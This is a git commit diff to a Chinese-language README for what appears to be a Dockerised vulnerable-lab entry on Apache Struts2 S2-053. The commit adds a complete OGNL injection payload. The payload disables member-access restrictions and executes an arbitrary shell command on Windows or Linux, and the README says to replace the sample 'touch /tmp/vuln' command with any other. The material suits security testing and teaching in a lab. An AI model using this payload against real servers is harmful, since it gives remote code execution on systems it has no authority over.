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(Update Vul: Struts2) 新增S2-053 Exp 说明

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Medicean 2017-09-08 01:11:26 +08:00
parent 3ce5b6a521
commit e4e324d2e7
1 changed files with 7 additions and 1 deletions
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s/struts2/s2-053/README.md
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@ -35,7 +35,13 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053
#### Exp
暂不公开
命令执行 Exp:
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```
替换Exp中的 `(#cmd='/usr/bin/touch /tmp/vuln')` 中的命令即可
### 修复建议